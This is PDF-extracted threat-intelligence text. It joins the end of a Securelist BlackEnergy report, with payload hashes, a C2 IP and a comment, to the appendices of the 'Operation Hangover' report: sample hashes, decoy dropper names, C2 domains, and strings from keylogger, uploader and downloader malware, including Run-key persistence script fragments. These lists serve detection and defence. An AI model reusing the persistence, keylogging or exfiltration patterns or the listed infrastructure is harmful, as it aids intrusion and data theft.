Win32.Fonten.y): ac2d7f21c826ce0c449481f79138aebd Final payload from Word document (Backdoor.
Win32.Fonten.o): 3fa9130c9ec44e36e52142f3688313ff BlackEnergy CC Server: 5.149.254[.
]114 Related Posts http://www.kaspersky.com/enterprise-security/intelligence-services mailto:///intelreportskaspersky.com https://business.kaspersky.com/black-energy/5091/ 4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 9/9 THERE IS 1 COMMENT If you would like to comment on this article you must first login Related Posts LarrySeltzer PostedonJanuary28,2016.6:28pm YoudthinkOfficewouldviewwritinganEXEfileasinherently suspiciousbehavior.
Unlesstheyhavealotofcustomerswriting compilersinWordmacros.
Reply PNG EMBEDDED MALICIOUS PAYLOAD HIDDEN IN A ALL YOUR CREDS ARE BELONG TO US PLUGX MALWARE: A GOOD HACKER IS AN APOLOGETIC https://securelist.com/wp-login.php https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/?replytocom623032respond https://securelist.com/blog/virus-watch/74297/png-embedded-malicious-payload-hidden-in-a-png-file/ https://securelist.com/blog/research/74137/all-your-creds-are-belong-to-us/ https://securelist.com/blog/virus-watch/74150/plugx-malware-a-good-hacker-is-an-apologetic-hacker/
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 1 Appendixes OPERATION HANGOVER Unveiling an Indian Cyberattack Infrastructure APPENDIXES A: Telenor samples B: Some examples of installers C: Malware string indicators D: Paths extracted from executables E: Domain names F: IP addresses G: Sample MD5s Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 2 Appendixes Appendix A: Samples extracted from Telenor intrusion 00bd9447c13afbbb7140bef94e24b535, msupl.exe 02d6519b0330a34b72290845e7ed16ab, conhosts.exe 05c983831cad96da01a8a78882959d3e, svcohst.exe 10d8d691ec5c75be5dbab876d39501f1, cpyf.exe 1579467859b48085bdf99b0a1a8c1f86, splitter.exe 1676ded041404671bfb1fcfe9db34dcf, msspr.exe 21a52fedba7d5f4080a8070236f24a81, taskbase.exe 3eddb4a2c427ebba246ba2fa22dbdc50, vcmm.dll 61abb92f0fa605c62dab334c225ef770, winhost.exe 6367c72ef246798c2e8153dd9828e1fa, waulct.exe 82837a05f8e000245f06c35e9ddc3040, srsr.exe 85ce84970182be282436317ebc310c8e, msiep.exe 98ce593bfaeddbbbe056007525032e0d, msspr.exe 9d724c66844d52397816259abdf58cea, vmcc.dll a25d1e14498dd60535c5645ed9f6f488, oprs.exe bd52237db47ba7515b2b7220ca64704e, few important operational documents.doc.exe bfd2529e09932ac6ca18c3aaff55bd79, windwn.exe ca26ca59bafa3ae727560cd31a44b35d, winsvcr.exe ecc8b373e61a01d56f429b2bd9907e09, chrm.exe edc4bdfd659279da90fc7eab8a4c6de3, zfscu.dll f21ca71866a6484a54cd9651282572fd, vtlp.dll Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 3 Appendixes Appendix B: Some related cases based on behaviour and malware similarity parameters.
Name: Pending_Electricity_Bill_(December-January).pdf.exe, MD5: 681757936109f7c6e65197fdbb6a8655 Content: Pending_Electricity_Bill_(December-January).pdf Content: wincert.exe CC :  chkpoint.info Name: Horsemeat_scandal_another_Irish_company_suspends_burger_production.exe MD5: f52154ae1366ae889d0783730040ea85 Content: Horsemeat_scandal_another_Irish_company_suspends_burger_production.docx Content: wincert.exe CC: chkpoint.info Name: Unknown MD5: f8b0e04506e57bfa2addade04e9a93d4 Content: Indian_Involvement_in_Afghanistan.pdf Content: smsss.exe Content: systems.exe Content: csrsss.exe Content: test.vbs Content: start1.bat CC: sonification.com Name: important.doc.exe MD5: a7a223cebe5d89aa2d36864cb096b1b3 Content: important.doc Content: smsss.exe Content: exploer.exe Content: ims.exe Content: test.vbs Content: start1.bat CC: sonificaton.com researcherzone.net Name: Unknown, probably ENRC__DEBT__INVESTORS__2012__for__your__Reference.exe MD5: e40205cba4e84a47b7c7419ab6d77322 Content: ENRC__DEBT__INVESTORS__2012__for__your__Reference.docx Content: cftmont.exe CC: macsol.org openhostingtalk.com Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 4 Appendixes Name: Unknown, probably Deatils_for_the_ENRC_Board_Meeting_X1098977e79.exe MD5: a5a740ce2f47eada46b5cae5facfe848 Content: Deatils_for_the_ENRC_Board_Meeting_X1098977e79.docx Content: acsrsss.exe CC: systoolsonline.org Name: Parminder bansil fraud with Nucleus software Full details.exe MD5: a7b5fce4390629f1756eb25901dbe105 Content: scan.docx Content: winsvcr.exe Content: wincert.exe Content: wins.vbs CC: skylarzone.org onlinestoreapp.net Name: Reliance limited sustantibility issues full report 576676y8778.exe MD5: 0d5956dac2ac56f292ee8fa121450973 Content: Details.docx Content: wauclt.exe Content: wincerrt.exe Content: wins.vbs CC: competitveedge.org crystalrepo.org Name: update112.exe MD5: 66203f184e4fdb004c0d24ede011ce6e Content: msnger.exe Content: igfxtrye.exe CC:  wearwellgarments.eu mysharpens.com Name: hp.exe MD5: 74e571f9accf9fe1b4ea6ee0e02a5180 Content: Mendhar.doc Content: isass.exe CC: forest-fire.com Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 5 Appendixes Name: Unknown MD5: 0f65c1202881f5c0e3d512aa64162716 Content: 20120316.pdf Content: update.exe Content: alg.exe CC: forest-fire.com mailtranet.com Name: Unknown, probably Details_for_the_ENRC_Board_Meeting_X10FR333_2012.exe MD5: 2895a9b0cf22cd45421d634dc0f68db1 Content: Details_for_the_ENRC_Board_Meeting_X10FR333_2012.docx Content: avcsrss.exe CC: ezservicesenter.org casinoaffiliatepartners.net Name: Unknown, probably McKinsey_Quaterly_Newsletter_2012________________.exe MD5: 602f66b23b55dd2a22cd84e34c5b8476 Content: McKinsey_Quaterly_Newsletter_2012________________.docx Content: cfmon.exe CC: casinoaffiliatepartners.net openhostingtalk.com Name: important.exe MD5: a1cad6b71ab30577ea8e204fab01ed47 Content: imprtant.jpg Content: snmse.exe CC: cryptoanalysis.net Name: Unknown, probably Detail_description_of_ferro_chrome_silicon_and_ferro_chrome.exe MD5: 2102a18dc20dc6654c03e0e74f36033f Content: Detail_description_of_ferro_chrome_silicon_and_ferro_chrome.docx Content: ctmon.exe CC: macsol.org Name: webmailapp.exe MD5: 22a3a1d5a89866a81152cd2fc98cd6e2 Content: lnk.bat Content: jre.exe Content: dwm.exe CC: mobnetserver.com Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 6 Appendixes Name: exploer.exe, winl.exe, lasss.exe MD5: 634e4c640c4d7845a88faa5e0838ec0e Content: winword.exe Content: ssmss.exe CC: matrixfanclub.net Name: Unknown MD5: FFC2C9969B6A3B27FF96B926E9A6C18A Content: ssmss.exe Content: spoolsv.exe CC: follow-ship.com Name: Unknown, probably Taliban target creator, blow up ISI jihad lab.doc.exe MD5: E14B7985764E737333D531DAABF55970 Content: Taliban target creator, blow up ISI jihad lab.doc Content: winword.exe Content: csres.exe Content: svchost.exe CC: redgolfclub.info Name: Unknown, probably MIRZAGHALIB.......IN2011.doc.exe MD5: 0680B9E247B2779799D4B32582F566C8 Content: MIRZAGHALIB.......IN2011.doc Content: CSRSSS.exe Content: SMSSS.exe Content: start1.bat Content: SYSTEMSS.exe Content: test.vbs CC:  sonificaton.com Name: agni5_indas_deadliest_ballistic_nuclear_missile.exe MD5: 06E80767048F3EDEFC2DEA301924346C Content: 1.pdf Content: csrsss.exe Content: dectop.ini Content: lsasss.exe Content: start.bat Content: start1.bat Content: test.vbs Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 7 Appendixes Appendix C: Malware string indicators.
Text strings found inside malware.
HANGOVER 1.2.2 (C uploader) Unable to load conf Drives are: c:/ Could  not upload file... encrypted Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file ]Tfufss/mph Uploading files to web server...
Source Directory: d out of d uploaded IMAGE Dec: Couldnt open file: enc_ Dec: Couldnt create file: 7kmLHHt98jdf4zF125jf73MIG Enc: Couldnt open file: Enc: Couldnt create file: Couldnt open source : MBVDFRESCT 90B452BFFF3F395ABDC878D8BEDBD152 Excep while up s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- CAF1C46F-D91d7-C912F7F4F609 WINAPP [CryptProvider::Enc] Unable to encrypt data: [CryptProvider::Enc] Unable to decrypt data: [ProvHandle::ProvHandle] Unable to create provider: Microsoft Enhanced Cryptographic Provider v1.0 [CrypHash::CryptHash] Unable to create hash: [CryptKey::CryptKey] Unable to create key: E:\My\lan scanner\Task\HangOver 1.2.2\Release\Http_t.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 8 Appendixes HANGOVER 1.3.2 (C uploader) Unable to load conf Drives are: c:/ Could  not upload file... encrypted Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file ]Tfufss/mph Uploading files to web server...
Source Directory: d out of d uploaded IMAGE Dec: Couldnt open file: enc_ Dec: Couldnt create file: 7kmLHHt98jdf4zF125jf73MIG Enc: Couldnt open file: Enc: Couldnt create file: Couldnt open source : MBVDFRESCT 90B452BFFF3F395ABDC878D8BEDBD152 Excep while up s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- /c xcopy  /Y cmd open yahoo windows dirctory AHAn4T-TRAH-PI12F7110903 WINAPP [CryptProvider::Enc] Unable to encrypt data: [CryptProvider::Enc] Unable to decrypt data: [ProvHandle::ProvHandle] Unable to create provider: Microsoft Enhanced Cryptographic Provider v1.0 [CrypHash::CryptHash] Unable to create hash: [CryptKey::CryptKey] Unable to create key: D:\Monthly Task\September 2011\HangOver 1.3.2 (Startup)\Release\Http_t.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 9 Appendixes HANGOVER 1.5.3 (C uploader) c:/ userprofile encrypted \sample2.txt Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file ]Tfufss/mph d out of d uploaded 0mbohvbhf/qiq hvbhf /qiq tpojgjdbupo/dpn EMSCBVDFRT F390395ABFBD452BFFC87BE8D8DBD152 Excep while up s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- cmd open /c xcopy  /Y dekstop.ico EXE mozila windows dirctory 2FC02671-E810-48b3-96DE-C4284E94EFC9 WINAPP T:\final project backup\uploader version backup\HangOver 1.5.3 (Startup)\Release\Http_t.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 10 Appendixes HANGOVER 1.5.4 (C uploader) c:/ userprofile encrypted \sample2.txt Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file ]Tfufss/mph d out of d uploaded 0nztibs/qiq hvbhf /qiq nztibsqfot/dpn EMSCBVDFRT F390395ABFBD452BFFC87BE8D8DBD152 Excep while up s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- bad cast /c xcopy  /Y cmd open dektpMSI89.ico EXE mozilaIl windows dirctory 67FC0221-E016-48B3-8D9H-E894C854YF92 WINAPP T:\final project backup\uploader version backup\fud all av hangover1.5.4\with icon shortcut link\HangOver 1.5.3 (Startup)\Release\Http_t.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 11 Appendixes HANGOVER 1.5.7 (C uploader) c:/ userprofile encrypted s04d02d02d02d02d02d.s \nts.txt Uploaded file s to web server Failed to upload file s ]Tfufss/mph d out of d uploaded tqbsl/qiq o11c5v/dpn EMSFRTCBVD F39D45E70395ABFB8D8D2BFFC8BBD152 Excep while up s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- windows dirctory C:\Users\Yash\Desktop\New folder\HangOver 1.5.7 (Startup) uploader\Release\Http_t.pdblink\HangOver 1.5.3 (Startup)\Release\Http_t.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 12 Appendixes RON 2.00 (Appin) (C uploader) VERSIONTYPEhe3l4m5k2n4m5kgs8c9f9 Reg Write Option Explicit on error resume next Dim objShell, strRoot, strModify strRoot Set objShell  CreateObject(WScript.
Shell) strModify  objShell.
(
strRoot, ,REG_SZ) strModify  null WScript.
Quit ScheduledTime In OnTimer...
Available drives are: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded to server \Program Files \WINDOWS \Temp \Local Settings \Start Menu \Application Data \UserData \Cookies \Favorites \SendTo \NetHood \PrintHood \LocalService \NetworkService File Found s Fail to find Write time of file s Fail to Access file s File s is inserted in list File found with different Pattern :: s Uploading files to web server... backupYmdHMS Source Directory: \detail.txt Search Process Failed Started by timer Couldnt open source file: sendFile FFF3F395A90B452BB8BEDC878DDBD152 access.php Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- SetTimer returned d sBackup-s.log Backup.log C:\BNaga\kaam\Appin SOFWARES\RON 2.0.0\Release\Ron.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 13 Appendixes RON 2.31 (Tourist) (C uploader) CONTENT-LENGTH: GET HTTP/1.1 Host: Connection: keep-alive ]tztubn/fyf xfcnjdsptpguvqebuf/ofu 0jnbhft0ubtliptu/fyf [MONTHLYDESX] /c In OnTimer...
Available drives: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded to server \.
\Program Files \WINDOWS \Temp \Local Settings \Start Menu \Application Data \UserData \Cookies \Favorites \SendTo \NetHood \PrintHood \LocalService \NetworkService \ProgramData File Found s s_02d_02d_04d_02d_02d_02d.s Fail to find Write time of file s Fail to Access file s File s is inserted in list File found with different Pattern :: s Uploading files to web server... backupYmdHMS Source Directory: \csb.log Search Process Failed Started by timer Couldnt open source file: BUGMAAL 2BB8FFF3F39878DDB5A90B45BEDCD152 Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- SetTimer returned d Y-m-d sInfo-s.log c - Info.log Y:\Uploader\HTTP\Tourist uplo\Tourist Uplo 2.3.1\Release\Ron.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 14 Appendixes RON 2.33 (C uploader) CONTENT-LENGTH: GET HTTP/1.1 Host: Connection: keep-alive ]mqtbtt/fyf npjmbvqebuf/dpn 0qmvhjo/uyu Global\FABF2E92-DA28-C7851754D733 In OnTimer...
Available drives: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded to server Uploading files to web server... backupYmdHMS Source Directory: \csb.log Search Process Failed \.
\Program Files \WINDOWS \Temp \Local Settings \Start Menu \Application Data \UserData \Cookies \Favorites \SendTo \NetHood \PrintHood \LocalService \NetworkService File Found s Fail to find Write time of file s Fail to Access file s Started by timer Couldnt open source file: sMAAL 2BB8FFF3F39878DDB5A90B45BEDCD152 Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- SetTimer returned d sInfo-s.log c - Info.log E:\Datahelp\UPLO\HTTP\NEW Up For Trinity\RON 2.3.3\Release\Ron.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 15 Appendixes RON 2.43 (Tourist) (C uploader) In OnTimer... /c xcopy  /Y cmd open appdata windows dirctory Global\C78517FA-D28A-BF254D111010 02X Available drives: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded to server Uploading files to web server... backupYmdHMS Source Directory: \ksb.log Search Process Failed \.
File Found s Fail to find Write time of file s Fail to Access file s Started by timer Couldnt open source file: SIMPLE 78DDB5A902BB8FFF3F398B45BEDCD152 Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- SetTimer returned d sReport-s.txt Report.txt S:\final project backup\task information\task of september\Tourist 2.4.3 (Down Link On Resource) -L\Release\Ron.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 16 Appendixes RON 2.45 (Tourist) (C uploader) userprofile Appl icati on Data Global\C7121E67-D28A-BF25KD72EKK3 TextX windows dirctory 02X Available drives: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded to server Uploading files to web server... backup Source Directory: \ksb.log Search Process Failed \.
Fail to find Write time of file s Fail to Access file s Couldnt open source file: SPLIME 5A902B8B45BEDCB8FFF3F39D152 Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- sReport-s.txt c - Report.txt N:\payloads\Trinity\Uploader\Tourist 2.4.5 (Down Link On Resource) -L(fud norton360internet security)\Release\Ron.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 17 Appendixes Babylon 5.11 (C uploader) In OnTimer... happyfeet StartServiceCtrlDispatcher: Error ld, OpenSCManager failed, error code  d Failed to create service s, error code  d Service s installed OpenService failed, error code  d Failed to delete service s Service s removed Service s stoped ControlService failed, error code  d Service s started StartService failed, error code  d RegisterServiceCtrlHandler failed, error code  d SetServiceStatus failed, error code  d Information Loaded Fail To Load Information Unable to load configuration file.
Loaded Settings Unable to send files to server.
Check your connection and settings Available drives: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded \Program Files \WINDOWS \Temp \Local Settings \Start Menu \Application Data \UserData \Cookies \Favorites \SendTo \NetHood \PrintHood \LocalService \NetworkService File Found s Fail to find Write time of file s Fail to Access file s File s is inserted in list File found with different Pattern :: s Uploading files to web server...
Source Directory: \csb.log Search Process Failed dectop.ini SerName ServerSettings UpDir CDir UpFreq Extensions SourceDirectory Couldnt open source file: sMAAL 2BB8FFF3F39878DDB5A90B45BEDCD152 tata.php Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 18 Appendixes Babylon 5.11 continued (C uploader) Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- SetTimer returned d sInfo-s.log Info.log EFile Couldnt open enc_ EFile Couldnt 7dasgfhgrtyethgfdhgfhgfgMIGGF17 EncryptFile: Couldnt open source file: EncryptFile: Couldnt create encrypted file: vectorT too long [CryptProvider::Enc] Unable to encrypt data: [CryptProvider::Enc] Unable to decrypt data: [ProvHandle::ProvHandle] Unable to create provider: Microsoft Enhanced Cryptographic Provider v1.0 [CrypHash::CryptHash] Unable to create hash: [CryptKey::CryptKey] Unable to create key: Y:\Uploader\HTTP\HTTP Babylon 5.1.1\HTTP Babylon 5.1.1\Httpbackup\Release\HttpUploader.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 19 Appendixes Ron Dragonball 1.00 (C uploader) Global\2F3A8556-D28A-8F1BghS4POMD 02X Available drives: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded to server Uploading files to web server... backup Source Directory: \ksb.log Search Process Failed \.
s_02d_02d_04d_02d_02d_02d.s Fail to find Write time of file s Fail to Access file s Couldnt open source file: SIMPLE 5A9DCB8FFF3F02B8B45BE39D152 Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- sReport-s.txt Report.txt D:\december task backup\TRINITY PAYLOAD\Dragonball 1.0.0(WITHOUT DOWNLOAD LINK)\Release\Ron.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 20 Appendixes Ron Dragonball 1.02 (C uploader) lnk smss windows dirctory \smss 02X Available drives: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded to server Uploading files to web server... backup Source Directory: \ksb.log Search Process Failed Fail to find Write time of file s Fail to Access file s Couldnt open source file: SIMPLE 5A9DCB8FFF3F02B8B45BE39D152 Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- sReport-s.txt Report.txt C:\Documents and Settings\abc\Desktop\Dragonball 1.0.2(WITHOUT DOWNLOAD LINK)\Release\Ron.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 21 Appendixes Ron FirstBlood (C uploader) MONEYMATRAG53UTDFWMC997654LMD Reg Write Option Explicit on error resume next Dim objShell, strRoot, strModify strRoot Set objShell  CreateObject(WScript.
Shell) strModify  objShell.
(
strRoot, ,REG_SZ) strModify  null WScript.
Quit Hello World InstallID In OnTimer...
Available drives are: c: Could  not upload file... Uploaded file s to web server Failed to upload file s Didnt upload s, because server already has this file d out of d files were successfully uploaded to server \Program Files \WINDOWS \Temp \Local Settings \Start Menu \Application Data \UserData \Cookies \Favorites \SendTo \NetHood \PrintHood \LocalService \NetworkService File Found s s_02d_02d_04d_02d_02d_02d.s Fail to find Write time of file s Fail to Access file s File s is inserted in list File found with different Pattern :: s Uploading files to web server... backupYmdHMS Source Directory: \detail.txt Search Process Failed Started by timer Couldnt open source file: sendFile FFF3F395A90B452BB8BEDC878DDBD152 access.php Exception occurred while uploading file s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- SetTimer returned d sBackup-s.log Backup.log C:\BNaga\kaam\kaam\New_FTP_HttpWithLatestfile2_FirstBlood_Released\New_FTP_HttpWithLatestfile2\Release\Ron.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 22 Appendixes Bitmask (C keylogger) Layout File SYSTEM\CurrentControlSet\Control\Keyboard Layouts\s KbdLayerDescriptor Edit tips_class32_asdasd getkey/ Log.txt [ESC] [INSERT] [MENU] [ENTER] [BKSP] url  s Mozilla Firefox Internet Explorer Session Start  s  s  Windows Title  s Content-Type: multipart/form-data boundarys Content-Transfer-Encoding: binary Content-Type: text/plain Content-Disposition: form-data namefilename filenames Content-Disposition: form-data nameuploaddir --s --s-- Content-Disposition: form-data namesubmit valuesubmit Exception occurred while uploading file s: s getkey.php F12BDC94490B452AA8AEDC878DCBD187 File WScript.
Quit strModify  null ,REG_SZ) strModify  objShell.
RegWrite(strRoot, Set objShell  CreateObject(WScript.
Shell) \Software\Microsoft\Windows\CurrentVersion\Run\HotKeyscmd strRoot Dim objShell, strRoot, strModify Option Explicit HKEY_LOCAL_MACHINE HKEY_CURRENT_USER \Run \CurrentVersion \Windows Software\Microsoft \regw.vbs userprofile WM_KEYDOWN_STR WM_SETFOCUS_STR Global\2194ABA1-BFFA-4e6b-8C26-D191BB16F9E6 BitMask Pvt.
Ltd. Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 23 Appendixes Klogger (C keylogger) Edit LeftArrow RightArrow UpArrow DownArrow BACKSPACE Home PageDown PageUp End PrintScreen Delete F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12 Ctrl Alt Esc WinKey ScrollLock \NTUSR temp .log Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- MBVDFRESCT 90ABDC878D8BEDBB452BFFF3F395D152 Excep while up s: s 02X Log.txt /c del cmd open lnk alg windows dirctory \alg E:\June mac paylods\final Klogger-1 june-Fud from eset5.0\Klogger- 30 may\Klogger- 30 may\Release\Klogger.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 24 Appendixes Kmail (C keylogger) [ClipBoard Data: Edit MBVDFRESCT 90ABDC878D8BEDBB452BFFF3F395D152 Excep while up s: s Content-Type: multipart/form-data boundarys --s Content-Disposition: form-data nameuploaddir Content-Disposition: form-data namefilename filenames Content-Type: text/plain Content-Transfer-Encoding: binary Content-Disposition: form-data namesubmit valuesubmit --s-- 02X Wir windows dirctory temp .log Log.txt /c del cmd open d:\May Payload\new keylogger\Flashdance1.0.2\kmail(http) 01.20\Release\kmail.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 25 Appendixes Fuddol (Visual Basic downloader) C:\Http downloader(fud)\Project1.vbp PTTHLMX.2LMXSM TEG Open send Status maertS.BDODA Type ResponseBody Write Position tcejbOmetsySeliF.gnitpircS Fileexists DeleteFile Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 26 Appendixes Updatex (Visual Basic keylogger) UpdateEx C:\Documents and Settings\Admin\Desktop\UpdateEx\UpdateEx\UpdateEx.vbp MainEx GetLogs ProMan HTTPClass RedMod UpdateEx GET user32 SetTimer KillTimer Fields OpenHTTP CloseHTTP SendRequest URLEncode sys sysname path title data adkey.php POST [TAB] Text [BSP] [RET] [CTRL] [ALT] [Pause] [Esc] [End] [Home] [Left] [Right] [Inst] [Del] [DEC] [F1] [F2] [F3] [F4] [F5] [F6] [F7] [F8] [F9] [F10] [F11] [F12] [NumLock] [ScrollLock] [PntSrn] [PGUP] [PGDN] http://google.com HTTP Client Content-Type: application/x-www-form-urlencoded HTTP/1.1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run LTService Name Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 27 Appendixes Updatex continued (Visual Basic keylogger) Value Server Port UserName Password File Method Referer Reload Data Tymtin (Visual Basic keylogger) frmTymTin TymTin proTymTin l   -   l   -   e  -   h  -  S  -  .
-  t  -  p - i - r - c - S - W p   u    t    r  a   t   S ----------------[Clipboard Data]----------------- (-) (Enter) (Caps) (Esc) (Pup) (Pdown) (End) (Home) (LA) (UA) (RA) (DA) (Del) () (NumLock) (Ctrl) (Alt) value11value22 slots1 disnoutpapmfol u s e rn am e M    S   X    M     L   2    .
X M     L   H   T    T   P M  i     c    r   o   s    o   f t    .
X   M    L    HT    T    P M   S   X   M      L  2     .
S   e r    v   e    r   X    M    L   H  T T  P .txt W     i   n H     t   t   p   .
W   i   n    H   t t p  R   e    q   u   e    s    t W    i    n     H    t   t   p    .
W    i   n   H    t  t    p    R   e    q    u    e   s   t     .
5   .
1 Open C    o    n    t   e  n  t    -   T    y   p  e multipart/form-data boundary SetRequestHeader Content-Disposition: form-data name upload1 filename Content-type: file Send ResponseText /vbupload.php?pc Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 28 Appendixes Smackdown Minapro (Visual Basic downloader) frmMina C:\miNaPro.vbp Open send ResponseText tg tv ts mt computername username S        c          r          i        p t        i n       g       .
F        i l         eS       y s t         e         m       O             b j           e          c       t t     e     m      p \programs CreateFolder GetFolder Attributes tr /data/ Wscript.
Shell run /snwd.php?tp2tg DownloadProgress DownloadError DownloadComplete UserControl metsySgnitarepO_23niW morf  tceleS Caption [NoFiles] 2vmic\toor\.\\:stmgmniw -4--6-w-o---w---s---y---s---\-- Scripting.
FileSystemObject FolderExists -r--i--d---n--i---w---- BeginDownload PathToSignedProductExe eman erehW elifataD_MIC morf  tceleS Error programfiles CompanyName \.
W   s     c    r   i    p   t    .
S    h   e   l   l SaveFile CurBytes MaxBytes Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 29 Appendixes Smackdown Vacrhan (Visual Basic downloader) pranVacrhan Draw Circles Timer1 Timer2 C:\new_smackdown8\pranVacrhanpr.vbp  - advpack IsNTAdmin w      i     n m    g m t   s   : \   \ .
\   r  o o     t   \ S   e  c u  r i  t  y C  e  n t er elect  from An ExecQuery DisplayName w   i n  m g  m  t s  :   \ \ .
\ r   o ot \ S   e  c u  r i  t y C    e   n  t e  r  2 WokasamWoirada Select  from CIM_Datafile Where name http:// fil W S c r i p t. S he ll S t art u p SpecialFolders \Themes Manager.lnk CreateShortCut TargetPath IconLocation W--i-n---d---o-w-s- --S-y---s-t-e-m--- --P-r-o----p-e---r--t--y-- WorkingDirectory Save programfiles [NoFilesPresent] Files Present on DropPath : \.
